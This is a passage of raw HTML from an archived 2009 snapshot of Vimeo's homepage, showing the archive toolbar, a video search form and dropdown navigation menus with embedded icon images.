<td style="color:rgb(0, 0, 0);text-align:right;width:65px;font-size:11px;margin: 0px; padding: 5px; ">
|
||||
<a href="#" title="Close the toolbar" style="text-decoration:none;cursor:pointer;display:block;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAYAAABWdVznAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALZJREFUeNpskjEKAkEMRYOthYrrggq2FoqohQfWRm30CCqiIngAm232GAqzP5CsMWTgFUn+Z8ifoUREYAw2IJfa0gFrMOOaGxPwBgncQebEZ5kVYM7NnTSSMbVA04iVIxuGIrKDKzi53guM9OosMHlxX3dQ2uASiB92rwb9zlfwh3ufugrSiKjTI8nei5/gFpgGbNgGC3YlWh/EgQ0LeZS/NIL0SrDSwRTs+crga/TkcZdcVwIMAJcy0EgSRh1cAAAAAElFTkSuQmCC);color:rgb(51, 51, 255);font-family:'Lucida Grande', Arial, sans-serif;background-color: transparent; background-position: 100% 0px; background-repeat: no-repeat; outline: invert none medium; border-width: medium; border-style: none; margin: 0px 0px 23px; padding: 0px 18px 0px 0px; border-color: white; ">Close</a>
|
||||
<a href="https://archive.today/o/xte1C/http://faq.web.archive.org/" target="_blank" title="Get some help using the Wayback Machine" style="text-decoration:none;cursor:pointer;display:block;background-image:url(6ae3619c0c6aa84fbcbcba969fa291f5e6bd224a.png);color:rgb(51, 51, 255);font-family:'Lucida Grande', Arial, sans-serif;background-color: transparent; background-position: 100% 0px; background-repeat: no-repeat; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px 18px 0px 0px; border-color: white; ">Help</a>
|
||||
</td>
|
||||
</tr></tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAA9JREFUeNpiZmBgOAMQYAAA4ADQ8vodGwAAAABJRU5ErkJggg==" style="text-align:left;position:absolute;top:0px;left:0px;z-index:100000;display:none;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<div style="text-align:left;position:absolute;top:0px;left:0px;z-index:100001;margin: 0px; padding: 0px; "></div>
|
||||
<div style="background-color: rgb(231, 231, 222); width:980px;text-align:left;margin: 0px auto; padding: 0px; ">
|
||||
<div style="position:relative;width:980px;height:85px;z-index:1111;margin: 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; "><img alt="Vimeo" src="07f1b2b386333435a97f14d828f69d4b03e60f3d.gif" style="position:absolute;left:20px;top:10px;z-index:999999;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
|
||||
<div style="font-size:11px;color:rgb(255, 255, 255);margin: 0px 18px 0px 0px; padding: 0px; ">
|
||||
<ul style="z-index:999999;list-style: none outside none; margin: 0px; padding: 0px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAyCAYAAABRYothAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALhJREFUeNpiFFdW+s9ABcDEQCUwatCoQaMGjRo0atCoQaMGjRpEDvhFLYO+UMugF9Qy6Bq1DDpLLYMOUsOgR0B8ihoGLQPiv5Qa9AuIp1AjQc4C4qeUGvQOiOupkUWyoIZRZBAoXFZSmmk3AXEBpbl/KxBHgKKbEoNAMeQPxN/JLY9eAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtBN4F4DRBPBOLXxPobZNAFIL4DKgqgUXqfnPQAEGAA/DkjDXA3eLYAAAAASUVORK5CYII=" style="width:18px;height:50px;position:absolute;right:0px;top:0px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:13.9em;margin: 0px; padding: 16px 21px 21px 18px; ">
|
||||
<div style="float:left;position:absolute;top:12px;margin: 0px; padding: 0px; ">
|
||||
<div style="float:left;width:173px;height:24px;background-image:url(data:image/gif;base64,R0lGODlhrQAWAOYAABcjI2lxcc3NwcXFt2FpaTI9Pfr6+khSUvn5+Jqfn+3t6N3d1Pn598PDtcvLv9ra0ff39zA6OuTk3sjLy/Ly7+Dg2uvr5/39/fHx7cvOztzd3cfHu+Hj4/T19V5mZv7+/vz8++Xl3/b288nJvN/f2PT08ejo4enp483NwsnJu9ra0ujo4srKvsbGuODg2fHx78PDs8LCs9fXzcDAsMHBssXFuNjYzcfHufDw7uXl3unp5cjIu52iosrKvLy8rN7e1snJvdXVy+7u68zMwP7+/dPTydbWzcbGudXVysTEts3NwNDQxc7OweXl4OTk3fj49v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACtABYAAAf/gACCEQkaUIeIiYqLjI2Oj5CRkpOUlZaNGgkRgpweHZegoaKjpKWXHR6cBwamra6vsJACoQYHghOxubq7vI4TAAW9wsPEh7OMHwxPF48FBMXQ0cIUMg49RRaOBAHS3d6gx4lCQEkOKAMDTo0B3N/u75QISwMkCCArGzcUjOzw/v9Qwh1SMMAIEUQVaFTg1w6gQ39NGkhIhAGGCoYPM0YTCEVHgwWJTMz4gVGjSWkiWKQ4wQwDkwEKSp6cmYsjlBwDdth4oGTAgw8yaQrlFUJAjSNDNgQBEXSoU1E2DzGwoKAEkhgTF/V7ynUXjhYjXmh91rVspaiLFvhwsYhAMLNwMFuJCIFgUQEAGeLqbYRWUgZBq/YKLlWLEwEIgwX3fQSBACdBBXhwSEw5EocEdwUFAgA7);background-color: transparent; background-position: 0% 0%; background-repeat: no-repeat; margin: 0px; padding: 0px; ">
|
||||
<form style="margin: 0px; padding: 0px; ">
|
||||
<input value="Search Videos" style="text-align:left;float:left;height:18px;font:normal normal normal 12px/normal arial, sans-serif;color:rgb(150, 150, 150);width:135px;background-color: transparent; outline: invert none 0px; border-width: 0px; border-style: none; margin: 1px 0px 0px 4px; padding: 2px 0px 0px 3px; border-color: white; "/>
|
||||
<input type="submit" value="" style="float:left;width:25px;height:24px;cursor:pointer;background-color: transparent; outline: invert none 0px; border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</form>
|
||||
</div>
|
||||
</div>.
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);width:9em;list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;font-size:11px;display:block;background-color: transparent; color:rgb(229, 61, 44);outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search Videos</a><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search People</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search Groups</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search Channels</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Search Forums</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:9em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:1em;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Help</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:7.2em;margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help/basics" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Vimeo Basics</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:7.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Help</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:7.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forums" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Forums</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:7.2em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:1.5em;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="#" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Tools</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; ">
|
||||
For me: <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/subscriptions/contacts" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Subscription Manager</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/contacts/invite_new_user" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Invite Your Friends</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/contacts/import" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Import Contacts</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/widget" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Make Widgets</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:16.2em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:2.7em;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/explore" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Explore</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/groups" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Groups</a>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
